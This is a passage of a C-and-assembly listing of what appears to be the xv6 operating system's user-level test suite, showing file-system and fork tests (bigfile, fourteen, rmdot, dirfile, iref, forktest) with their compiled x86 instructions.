if(cc == 0)
2905: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
2909: 75 1b jne 2926 <bigfile+0x172>
break;
290b: 90 nop
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
close(fd);
290c: 8b 45 ec mov -0x14(%ebp),%eax
290f: 89 04 24 mov %eax,(%esp)
2912: e8 c6 15 00 00 call 3edd <close>
if(total != 20*600){
2917: 81 7d f0 e0 2e 00 00 cmpl $0x2ee0,-0x10(%ebp)
291e: 0f 84 99 00 00 00 je 29bd <bigfile+0x209>
2924: eb 7e jmp 29a4 <bigfile+0x1f0>
printf(1, "read bigfile failed\n");
exit();
}
if(cc == 0)
break;
if(cc != 300){
2926: 81 7d e8 2c 01 00 00 cmpl $0x12c,-0x18(%ebp)
292d: 74 19 je 2948 <bigfile+0x194>
printf(1, "short read bigfile\n");
292f: c7 44 24 04 e7 52 00 movl $0x52e7,0x4(%esp)
2936: 00
2937: c7 04 24 01 00 00 00 movl $0x1,(%esp)
293e: e8 f2 16 00 00 call 4035 <printf>
exit();
2943: e8 6d 15 00 00 call 3eb5 <exit>
}
if(buf[0] != i/2 || buf[299] != i/2){
2948: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax
294f: 0f be d0 movsbl %al,%edx
2952: 8b 45 f4 mov -0xc(%ebp),%eax
2955: 89 c1 mov %eax,%ecx
2957: c1 e9 1f shr $0x1f,%ecx
295a: 01 c8 add %ecx,%eax
295c: d1 f8 sar %eax
295e: 39 c2 cmp %eax,%edx
2960: 75 1a jne 297c <bigfile+0x1c8>
2962: 0f b6 05 cb 8b 00 00 movzbl 0x8bcb,%eax
2969: 0f be d0 movsbl %al,%edx
296c: 8b 45 f4 mov -0xc(%ebp),%eax
296f: 89 c1 mov %eax,%ecx
2971: c1 e9 1f shr $0x1f,%ecx
2974: 01 c8 add %ecx,%eax
2976: d1 f8 sar %eax
2978: 39 c2 cmp %eax,%edx
297a: 74 19 je 2995 <bigfile+0x1e1>
printf(1, "read bigfile wrong data\n");
297c: c7 44 24 04 fb 52 00 movl $0x52fb,0x4(%esp)
2983: 00
2984: c7 04 24 01 00 00 00 movl $0x1,(%esp)
298b: e8 a5 16 00 00 call 4035 <printf>
exit();
2990: e8 20 15 00 00 call 3eb5 <exit>
}
total += cc;
2995: 8b 45 e8 mov -0x18(%ebp),%eax
2998: 01 45 f0 add %eax,-0x10(%ebp)
if(fd < 0){
printf(1, "cannot open bigfile\n");
exit();
}
total = 0;
for(i = 0; ; i++){
299b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(buf[0] != i/2 || buf[299] != i/2){
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
299f: e9 24 ff ff ff jmp 28c8 <bigfile+0x114>
close(fd);
if(total != 20*600){
printf(1, "read bigfile wrong total\n");
29a4: c7 44 24 04 14 53 00 movl $0x5314,0x4(%esp)
29ab: 00
29ac: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29b3: e8 7d 16 00 00 call 4035 <printf>
exit();
29b8: e8 f8 14 00 00 call 3eb5 <exit>
}
unlink("bigfile");
29bd: c7 04 24 89 52 00 00 movl $0x5289,(%esp)
29c4: e8 3c 15 00 00 call 3f05 <unlink>
printf(1, "bigfile test ok\n");
29c9: c7 44 24 04 2e 53 00 movl $0x532e,0x4(%esp)
29d0: 00
29d1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29d8: e8 58 16 00 00 call 4035 <printf>
}
29dd: c9 leave
29de: c3 ret
000029df <fourteen>:
void
fourteen(void)
{
29df: 55 push %ebp
29e0: 89 e5 mov %esp,%ebp
29e2: 83 ec 28 sub $0x28,%esp
int fd;
// DIRSIZ is 14.
printf(1, "fourteen test\n");
29e5: c7 44 24 04 3f 53 00 movl $0x533f,0x4(%esp)
29ec: 00
29ed: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29f4: e8 3c 16 00 00 call 4035 <printf>
if(mkdir("12345678901234") != 0){
29f9: c7 04 24 4e 53 00 00 movl $0x534e,(%esp)
2a00: e8 18 15 00 00 call 3f1d <mkdir>
2a05: 85 c0 test %eax,%eax
2a07: 74 19 je 2a22 <fourteen+0x43>
printf(1, "mkdir 12345678901234 failed\n");
2a09: c7 44 24 04 5d 53 00 movl $0x535d,0x4(%esp)
2a10: 00
2a11: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a18: e8 18 16 00 00 call 4035 <printf>
exit();
2a1d: e8 93 14 00 00 call 3eb5 <exit>
}
if(mkdir("12345678901234/123456789012345") != 0){
2a22: c7 04 24 7c 53 00 00 movl $0x537c,(%esp)
2a29: e8 ef 14 00 00 call 3f1d <mkdir>
2a2e: 85 c0 test %eax,%eax
2a30: 74 19 je 2a4b <fourteen+0x6c>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
2a32: c7 44 24 04 9c 53 00 movl $0x539c,0x4(%esp)
2a39: 00
2a3a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a41: e8 ef 15 00 00 call 4035 <printf>
exit();
2a46: e8 6a 14 00 00 call 3eb5 <exit>
}
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
2a4b: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2a52: 00
2a53: c7 04 24 cc 53 00 00 movl $0x53cc,(%esp)
2a5a: e8 96 14 00 00 call 3ef5 <open>
2a5f: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2a62: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a66: 79 19 jns 2a81 <fourteen+0xa2>
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
2a68: c7 44 24 04 fc 53 00 movl $0x53fc,0x4(%esp)
2a6f: 00
2a70: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a77: e8 b9 15 00 00 call 4035 <printf>
exit();
2a7c: e8 34 14 00 00 call 3eb5 <exit>
}
close(fd);
2a81: 8b 45 f4 mov -0xc(%ebp),%eax
2a84: 89 04 24 mov %eax,(%esp)
2a87: e8 51 14 00 00 call 3edd <close>
fd = open("12345678901234/12345678901234/12345678901234", 0);
2a8c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2a93: 00
2a94: c7 04 24 3c 54 00 00 movl $0x543c,(%esp)
2a9b: e8 55 14 00 00 call 3ef5 <open>
2aa0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2aa3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2aa7: 79 19 jns 2ac2 <fourteen+0xe3>
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
2aa9: c7 44 24 04 6c 54 00 movl $0x546c,0x4(%esp)
2ab0: 00
2ab1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ab8: e8 78 15 00 00 call 4035 <printf>
exit();
2abd: e8 f3 13 00 00 call 3eb5 <exit>
}
close(fd);
2ac2: 8b 45 f4 mov -0xc(%ebp),%eax
2ac5: 89 04 24 mov %eax,(%esp)
2ac8: e8 10 14 00 00 call 3edd <close>
if(mkdir("12345678901234/12345678901234") == 0){
2acd: c7 04 24 a6 54 00 00 movl $0x54a6,(%esp)
2ad4: e8 44 14 00 00 call 3f1d <mkdir>
2ad9: 85 c0 test %eax,%eax
2adb: 75 19 jne 2af6 <fourteen+0x117>
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
2add: c7 44 24 04 c4 54 00 movl $0x54c4,0x4(%esp)
2ae4: 00
2ae5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2aec: e8 44 15 00 00 call 4035 <printf>
exit();
2af1: e8 bf 13 00 00 call 3eb5 <exit>
}
if(mkdir("123456789012345/12345678901234") == 0){
2af6: c7 04 24 f4 54 00 00 movl $0x54f4,(%esp)
2afd: e8 1b 14 00 00 call 3f1d <mkdir>
2b02: 85 c0 test %eax,%eax
2b04: 75 19 jne 2b1f <fourteen+0x140>
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
2b06: c7 44 24 04 14 55 00 movl $0x5514,0x4(%esp)
2b0d: 00
2b0e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b15: e8 1b 15 00 00 call 4035 <printf>
exit();
2b1a: e8 96 13 00 00 call 3eb5 <exit>
}
printf(1, "fourteen ok\n");
2b1f: c7 44 24 04 45 55 00 movl $0x5545,0x4(%esp)
2b26: 00
2b27: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b2e: e8 02 15 00 00 call 4035 <printf>
}
2b33: c9 leave
2b34: c3 ret
00002b35 <rmdot>:
void
rmdot(void)
{
2b35: 55 push %ebp
2b36: 89 e5 mov %esp,%ebp
2b38: 83 ec 18 sub $0x18,%esp
printf(1, "rmdot test\n");
2b3b: c7 44 24 04 52 55 00 movl $0x5552,0x4(%esp)
2b42: 00
2b43: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b4a: e8 e6 14 00 00 call 4035 <printf>
if(mkdir("dots") != 0){
2b4f: c7 04 24 5e 55 00 00 movl $0x555e,(%esp)
2b56: e8 c2 13 00 00 call 3f1d <mkdir>
2b5b: 85 c0 test %eax,%eax
2b5d: 74 19 je 2b78 <rmdot+0x43>
printf(1, "mkdir dots failed\n");
2b5f: c7 44 24 04 63 55 00 movl $0x5563,0x4(%esp)
2b66: 00
2b67: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b6e: e8 c2 14 00 00 call 4035 <printf>
exit();
2b73: e8 3d 13 00 00 call 3eb5 <exit>
}
if(chdir("dots") != 0){
2b78: c7 04 24 5e 55 00 00 movl $0x555e,(%esp)
2b7f: e8 a1 13 00 00 call 3f25 <chdir>
2b84: 85 c0 test %eax,%eax
2b86: 74 19 je 2ba1 <rmdot+0x6c>
printf(1, "chdir dots failed\n");
2b88: c7 44 24 04 76 55 00 movl $0x5576,0x4(%esp)
2b8f: 00
2b90: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b97: e8 99 14 00 00 call 4035 <printf>
exit();
2b9c: e8 14 13 00 00 call 3eb5 <exit>
}
if(unlink(".") == 0){
2ba1: c7 04 24 8f 4c 00 00 movl $0x4c8f,(%esp)
2ba8: e8 58 13 00 00 call 3f05 <unlink>
2bad: 85 c0 test %eax,%eax
2baf: 75 19 jne 2bca <rmdot+0x95>
printf(1, "rm . worked!\n");
2bb1: c7 44 24 04 89 55 00 movl $0x5589,0x4(%esp)
2bb8: 00
2bb9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bc0: e8 70 14 00 00 call 4035 <printf>
exit();
2bc5: e8 eb 12 00 00 call 3eb5 <exit>
}
if(unlink("..") == 0){
2bca: c7 04 24 22 48 00 00 movl $0x4822,(%esp)
2bd1: e8 2f 13 00 00 call 3f05 <unlink>
2bd6: 85 c0 test %eax,%eax
2bd8: 75 19 jne 2bf3 <rmdot+0xbe>
printf(1, "rm .. worked!\n");
2bda: c7 44 24 04 97 55 00 movl $0x5597,0x4(%esp)
2be1: 00
2be2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2be9: e8 47 14 00 00 call 4035 <printf>
exit();
2bee: e8 c2 12 00 00 call 3eb5 <exit>
}
if(chdir("/") != 0){
2bf3: c7 04 24 76 44 00 00 movl $0x4476,(%esp)
2bfa: e8 26 13 00 00 call 3f25 <chdir>
2bff: 85 c0 test %eax,%eax
2c01: 74 19 je 2c1c <rmdot+0xe7>
printf(1, "chdir / failed\n");
2c03: c7 44 24 04 78 44 00 movl $0x4478,0x4(%esp)
2c0a: 00
2c0b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c12: e8 1e 14 00 00 call 4035 <printf>
exit();
2c17: e8 99 12 00 00 call 3eb5 <exit>
}
if(unlink("dots/.") == 0){
2c1c: c7 04 24 a6 55 00 00 movl $0x55a6,(%esp)
2c23: e8 dd 12 00 00 call 3f05 <unlink>
2c28: 85 c0 test %eax,%eax
2c2a: 75 19 jne 2c45 <rmdot+0x110>
printf(1, "unlink dots/. worked!\n");
2c2c: c7 44 24 04 ad 55 00 movl $0x55ad,0x4(%esp)
2c33: 00
2c34: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c3b: e8 f5 13 00 00 call 4035 <printf>
exit();
2c40: e8 70 12 00 00 call 3eb5 <exit>
}
if(unlink("dots/..") == 0){
2c45: c7 04 24 c4 55 00 00 movl $0x55c4,(%esp)
2c4c: e8 b4 12 00 00 call 3f05 <unlink>
2c51: 85 c0 test %eax,%eax
2c53: 75 19 jne 2c6e <rmdot+0x139>
printf(1, "unlink dots/.. worked!\n");
2c55: c7 44 24 04 cc 55 00 movl $0x55cc,0x4(%esp)
2c5c: 00
2c5d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c64: e8 cc 13 00 00 call 4035 <printf>
exit();
2c69: e8 47 12 00 00 call 3eb5 <exit>
}
if(unlink("dots") != 0){
2c6e: c7 04 24 5e 55 00 00 movl $0x555e,(%esp)
2c75: e8 8b 12 00 00 call 3f05 <unlink>
2c7a: 85 c0 test %eax,%eax
2c7c: 74 19 je 2c97 <rmdot+0x162>
printf(1, "unlink dots failed!\n");
2c7e: c7 44 24 04 e4 55 00 movl $0x55e4,0x4(%esp)
2c85: 00
2c86: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c8d: e8 a3 13 00 00 call 4035 <printf>
exit();
2c92: e8 1e 12 00 00 call 3eb5 <exit>
}
printf(1, "rmdot ok\n");
2c97: c7 44 24 04 f9 55 00 movl $0x55f9,0x4(%esp)
2c9e: 00
2c9f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ca6: e8 8a 13 00 00 call 4035 <printf>
}
2cab: c9 leave
2cac: c3 ret
00002cad <dirfile>:
void
dirfile(void)
{
2cad: 55 push %ebp
2cae: 89 e5 mov %esp,%ebp
2cb0: 83 ec 28 sub $0x28,%esp
int fd;
printf(1, "dir vs file\n");
2cb3: c7 44 24 04 03 56 00 movl $0x5603,0x4(%esp)
2cba: 00
2cbb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2cc2: e8 6e 13 00 00 call 4035 <printf>
fd = open("dirfile", O_CREATE);
2cc7: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2cce: 00
2ccf: c7 04 24 10 56 00 00 movl $0x5610,(%esp)
2cd6: e8 1a 12 00 00 call 3ef5 <open>
2cdb: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2cde: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2ce2: 79 19 jns 2cfd <dirfile+0x50>
printf(1, "create dirfile failed\n");
2ce4: c7 44 24 04 18 56 00 movl $0x5618,0x4(%esp)
2ceb: 00
2cec: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2cf3: e8 3d 13 00 00 call 4035 <printf>
exit();
2cf8: e8 b8 11 00 00 call 3eb5 <exit>
}
close(fd);
2cfd: 8b 45 f4 mov -0xc(%ebp),%eax
2d00: 89 04 24 mov %eax,(%esp)
2d03: e8 d5 11 00 00 call 3edd <close>
if(chdir("dirfile") == 0){
2d08: c7 04 24 10 56 00 00 movl $0x5610,(%esp)
2d0f: e8 11 12 00 00 call 3f25 <chdir>
2d14: 85 c0 test %eax,%eax
2d16: 75 19 jne 2d31 <dirfile+0x84>
printf(1, "chdir dirfile succeeded!\n");
2d18: c7 44 24 04 2f 56 00 movl $0x562f,0x4(%esp)
2d1f: 00
2d20: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d27: e8 09 13 00 00 call 4035 <printf>
exit();
2d2c: e8 84 11 00 00 call 3eb5 <exit>
}
fd = open("dirfile/xx", 0);
2d31: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2d38: 00
2d39: c7 04 24 49 56 00 00 movl $0x5649,(%esp)
2d40: e8 b0 11 00 00 call 3ef5 <open>
2d45: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2d48: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2d4c: 78 19 js 2d67 <dirfile+0xba>
printf(1, "create dirfile/xx succeeded!\n");
2d4e: c7 44 24 04 54 56 00 movl $0x5654,0x4(%esp)
2d55: 00
2d56: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d5d: e8 d3 12 00 00 call 4035 <printf>
exit();
2d62: e8 4e 11 00 00 call 3eb5 <exit>
}
fd = open("dirfile/xx", O_CREATE);
2d67: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2d6e: 00
2d6f: c7 04 24 49 56 00 00 movl $0x5649,(%esp)
2d76: e8 7a 11 00 00 call 3ef5 <open>
2d7b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2d7e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2d82: 78 19 js 2d9d <dirfile+0xf0>
printf(1, "create dirfile/xx succeeded!\n");
2d84: c7 44 24 04 54 56 00 movl $0x5654,0x4(%esp)
2d8b: 00
2d8c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d93: e8 9d 12 00 00 call 4035 <printf>
exit();
2d98: e8 18 11 00 00 call 3eb5 <exit>
}
if(mkdir("dirfile/xx") == 0){
2d9d: c7 04 24 49 56 00 00 movl $0x5649,(%esp)
2da4: e8 74 11 00 00 call 3f1d <mkdir>
2da9: 85 c0 test %eax,%eax
2dab: 75 19 jne 2dc6 <dirfile+0x119>
printf(1, "mkdir dirfile/xx succeeded!\n");
2dad: c7 44 24 04 72 56 00 movl $0x5672,0x4(%esp)
2db4: 00
2db5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dbc: e8 74 12 00 00 call 4035 <printf>
exit();
2dc1: e8 ef 10 00 00 call 3eb5 <exit>
}
if(unlink("dirfile/xx") == 0){
2dc6: c7 04 24 49 56 00 00 movl $0x5649,(%esp)
2dcd: e8 33 11 00 00 call 3f05 <unlink>
2dd2: 85 c0 test %eax,%eax
2dd4: 75 19 jne 2def <dirfile+0x142>
printf(1, "unlink dirfile/xx succeeded!\n");
2dd6: c7 44 24 04 8f 56 00 movl $0x568f,0x4(%esp)
2ddd: 00
2dde: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2de5: e8 4b 12 00 00 call 4035 <printf>
exit();
2dea: e8 c6 10 00 00 call 3eb5 <exit>
}
if(link("README", "dirfile/xx") == 0){
2def: c7 44 24 04 49 56 00 movl $0x5649,0x4(%esp)
2df6: 00
2df7: c7 04 24 ad 56 00 00 movl $0x56ad,(%esp)
2dfe: e8 12 11 00 00 call 3f15 <link>
2e03: 85 c0 test %eax,%eax
2e05: 75 19 jne 2e20 <dirfile+0x173>
printf(1, "link to dirfile/xx succeeded!\n");
2e07: c7 44 24 04 b4 56 00 movl $0x56b4,0x4(%esp)
2e0e: 00
2e0f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e16: e8 1a 12 00 00 call 4035 <printf>
exit();
2e1b: e8 95 10 00 00 call 3eb5 <exit>
}
if(unlink("dirfile") != 0){
2e20: c7 04 24 10 56 00 00 movl $0x5610,(%esp)
2e27: e8 d9 10 00 00 call 3f05 <unlink>
2e2c: 85 c0 test %eax,%eax
2e2e: 74 19 je 2e49 <dirfile+0x19c>
printf(1, "unlink dirfile failed!\n");
2e30: c7 44 24 04 d3 56 00 movl $0x56d3,0x4(%esp)
2e37: 00
2e38: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e3f: e8 f1 11 00 00 call 4035 <printf>
exit();
2e44: e8 6c 10 00 00 call 3eb5 <exit>
}
fd = open(".", O_RDWR);
2e49: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
2e50: 00
2e51: c7 04 24 8f 4c 00 00 movl $0x4c8f,(%esp)
2e58: e8 98 10 00 00 call 3ef5 <open>
2e5d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2e60: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e64: 78 19 js 2e7f <dirfile+0x1d2>
printf(1, "open . for writing succeeded!\n");
2e66: c7 44 24 04 ec 56 00 movl $0x56ec,0x4(%esp)
2e6d: 00
2e6e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e75: e8 bb 11 00 00 call 4035 <printf>
exit();
2e7a: e8 36 10 00 00 call 3eb5 <exit>
}
fd = open(".", 0);
2e7f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2e86: 00
2e87: c7 04 24 8f 4c 00 00 movl $0x4c8f,(%esp)
2e8e: e8 62 10 00 00 call 3ef5 <open>
2e93: 89 45 f4 mov %eax,-0xc(%ebp)
if(write(fd, "x", 1) > 0){
2e96: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
2e9d: 00
2e9e: c7 44 24 04 db 48 00 movl $0x48db,0x4(%esp)
2ea5: 00
2ea6: 8b 45 f4 mov -0xc(%ebp),%eax
2ea9: 89 04 24 mov %eax,(%esp)
2eac: e8 24 10 00 00 call 3ed5 <write>
2eb1: 85 c0 test %eax,%eax
2eb3: 7e 19 jle 2ece <dirfile+0x221>
printf(1, "write . succeeded!\n");
2eb5: c7 44 24 04 0b 57 00 movl $0x570b,0x4(%esp)
2ebc: 00
2ebd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ec4: e8 6c 11 00 00 call 4035 <printf>
exit();
2ec9: e8 e7 0f 00 00 call 3eb5 <exit>
}
close(fd);
2ece: 8b 45 f4 mov -0xc(%ebp),%eax
2ed1: 89 04 24 mov %eax,(%esp)
2ed4: e8 04 10 00 00 call 3edd <close>
printf(1, "dir vs file OK\n");
2ed9: c7 44 24 04 1f 57 00 movl $0x571f,0x4(%esp)
2ee0: 00
2ee1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ee8: e8 48 11 00 00 call 4035 <printf>
}
2eed: c9 leave
2eee: c3 ret
00002eef <iref>:
// test that iput() is called at the end of _namei()
void
iref(void)
{
2eef: 55 push %ebp
2ef0: 89 e5 mov %esp,%ebp
2ef2: 83 ec 28 sub $0x28,%esp
int i, fd;
printf(1, "empty file name\n");
2ef5: c7 44 24 04 2f 57 00 movl $0x572f,0x4(%esp)
2efc: 00
2efd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f04: e8 2c 11 00 00 call 4035 <printf>
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
2f09: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2f10: e9 d2 00 00 00 jmp 2fe7 <iref+0xf8>
if(mkdir("irefd") != 0){
2f15: c7 04 24 40 57 00 00 movl $0x5740,(%esp)
2f1c: e8 fc 0f 00 00 call 3f1d <mkdir>
2f21: 85 c0 test %eax,%eax
2f23: 74 19 je 2f3e <iref+0x4f>
printf(1, "mkdir irefd failed\n");
2f25: c7 44 24 04 46 57 00 movl $0x5746,0x4(%esp)
2f2c: 00
2f2d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f34: e8 fc 10 00 00 call 4035 <printf>
exit();
2f39: e8 77 0f 00 00 call 3eb5 <exit>
}
if(chdir("irefd") != 0){
2f3e: c7 04 24 40 57 00 00 movl $0x5740,(%esp)
2f45: e8 db 0f 00 00 call 3f25 <chdir>
2f4a: 85 c0 test %eax,%eax
2f4c: 74 19 je 2f67 <iref+0x78>
printf(1, "chdir irefd failed\n");
2f4e: c7 44 24 04 5a 57 00 movl $0x575a,0x4(%esp)
2f55: 00
2f56: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f5d: e8 d3 10 00 00 call 4035 <printf>
exit();
2f62: e8 4e 0f 00 00 call 3eb5 <exit>
}
mkdir("");
2f67: c7 04 24 6e 57 00 00 movl $0x576e,(%esp)
2f6e: e8 aa 0f 00 00 call 3f1d <mkdir>
link("README", "");
2f73: c7 44 24 04 6e 57 00 movl $0x576e,0x4(%esp)
2f7a: 00
2f7b: c7 04 24 ad 56 00 00 movl $0x56ad,(%esp)
2f82: e8 8e 0f 00 00 call 3f15 <link>
fd = open("", O_CREATE);
2f87: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2f8e: 00
2f8f: c7 04 24 6e 57 00 00 movl $0x576e,(%esp)
2f96: e8 5a 0f 00 00 call 3ef5 <open>
2f9b: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
2f9e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2fa2: 78 0b js 2faf <iref+0xc0>
close(fd);
2fa4: 8b 45 f0 mov -0x10(%ebp),%eax
2fa7: 89 04 24 mov %eax,(%esp)
2faa: e8 2e 0f 00 00 call 3edd <close>
fd = open("xx", O_CREATE);
2faf: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2fb6: 00
2fb7: c7 04 24 6f 57 00 00 movl $0x576f,(%esp)
2fbe: e8 32 0f 00 00 call 3ef5 <open>
2fc3: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
2fc6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2fca: 78 0b js 2fd7 <iref+0xe8>
close(fd);
2fcc: 8b 45 f0 mov -0x10(%ebp),%eax
2fcf: 89 04 24 mov %eax,(%esp)
2fd2: e8 06 0f 00 00 call 3edd <close>
unlink("xx");
2fd7: c7 04 24 6f 57 00 00 movl $0x576f,(%esp)
2fde: e8 22 0f 00 00 call 3f05 <unlink>
int i, fd;
printf(1, "empty file name\n");
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
2fe3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2fe7: 83 7d f4 32 cmpl $0x32,-0xc(%ebp)
2feb: 0f 8e 24 ff ff ff jle 2f15 <iref+0x26>
if(fd >= 0)
close(fd);
unlink("xx");
}
chdir("/");
2ff1: c7 04 24 76 44 00 00 movl $0x4476,(%esp)
2ff8: e8 28 0f 00 00 call 3f25 <chdir>
printf(1, "empty file name OK\n");
2ffd: c7 44 24 04 72 57 00 movl $0x5772,0x4(%esp)
3004: 00
3005: c7 04 24 01 00 00 00 movl $0x1,(%esp)
300c: e8 24 10 00 00 call 4035 <printf>
}
3011: c9 leave
3012: c3 ret
00003013 <forktest>:
// test that fork fails gracefully
// the forktest binary also does this, but it runs out of proc entries first.
// inside the bigger usertests binary, we run out of memory first.
void
forktest(void)
{
3013: 55 push %ebp
3014: 89 e5 mov %esp,%ebp
3016: 83 ec 28 sub $0x28,%esp
int n, pid;
printf(1, "fork test\n");
3019: c7 44 24 04 86 57 00 movl $0x5786,0x4(%esp)
3020: 00
3021: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3028: e8 08 10 00 00 call 4035 <printf>
for(n=0; n<1000; n++){
302d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3034: eb 1f jmp 3055 <forktest+0x42>
pid = fork();
3036: e8 72 0e 00 00 call 3ead <fork>
303b: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0)
303e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3042: 79 02 jns 3046 <forktest+0x33>
break;
3044: eb 18 jmp 305e <forktest+0x4b>
if(pid == 0)
3046: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
304a: 75 05 jne 3051 <forktest+0x3e>
exit();
304c: e8 64 0e 00 00 call 3eb5 <exit>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<1000; n++){
3051: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3055: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
305c: 7e d8 jle 3036 <forktest+0x23>
break;
if(pid == 0)
exit();
}
if(n == 1000){
305e: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp)
3065: 75 19 jne 3080 <forktest+0x6d>
printf(1, "fork claimed to work 1000 times!\n");
3067: c7 44 24 04 94 57 00 movl $0x5794,0x4(%esp)
306e: 00
306f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3076: e8 ba 0f 00 00 call 4035 <printf>
exit();
307b: e8 35 0e 00 00 call 3eb5 <exit>
}
for(; n > 0; n--){
3080: eb 26 jmp 30a8 <forktest+0x95>
if(wait() < 0){
3082: e8 36 0e 00 00 call 3ebd <wait>
3087: 85 c0 test %eax,%eax
3089: 79 19 jns 30a4 <forktest+0x91>
printf(1, "wait stopped early\n");
308b: c7 44 24 04 b6 57 00 movl $0x57b6,0x4(%esp)
3092: 00
3093: c7 04 24 01 00 00 00 movl $0x1,(%esp)
309a: e8 96 0f 00 00 call 4035 <printf>
exit();
309f: e8 11 0e 00 00 call 3eb5 <exit>
if(n == 1000){
printf(1, "fork claimed to work 1000 times!\n");
exit();
}
for(; n > 0; n--){
30a4: 83 6d f4 01 subl $0x1,-0xc(%ebp)
30a8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
30ac: 7f d4 jg 3082 <forktest+0x6f>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
30ae: e8 0a 0e 00 00 call 3ebd <wait>
30b3: 83 f8 ff cmp $0xffffffff,%eax
30b6: 74 19 je 30d1 <forktest+0xbe>
printf(1, "wait got too many\n");
30b8: c7 44 24 04 ca 57 00 movl $0x57ca,0x4(%esp)
30bf: 00
30c0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
30c7: e8 69 0f 00 00 call 4035 <printf>
exit();
30cc: e8 e4 0d 00 00 call 3eb5 <exit>
}
printf(1, "fork test OK\n");
30d1: c7 44 24 04 dd 57 00 movl $0x57dd,0x4(%esp)
30d8: 00
30d9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
30e0: e8 50 0f 00 00 call 4035 <printf>
}
30e5: c9 leave
30e6: c3 ret
000030e7 <sbrktest>:
void
sbrktest(void)
{
30e7: 55 push %ebp
30e8: 89 e5 mov %esp,%ebp
30ea: 53 push %ebx
30eb: 81 ec 84 00 00 00 sub $0x84,%esp
int fds[2], pid, pids[10], ppid;
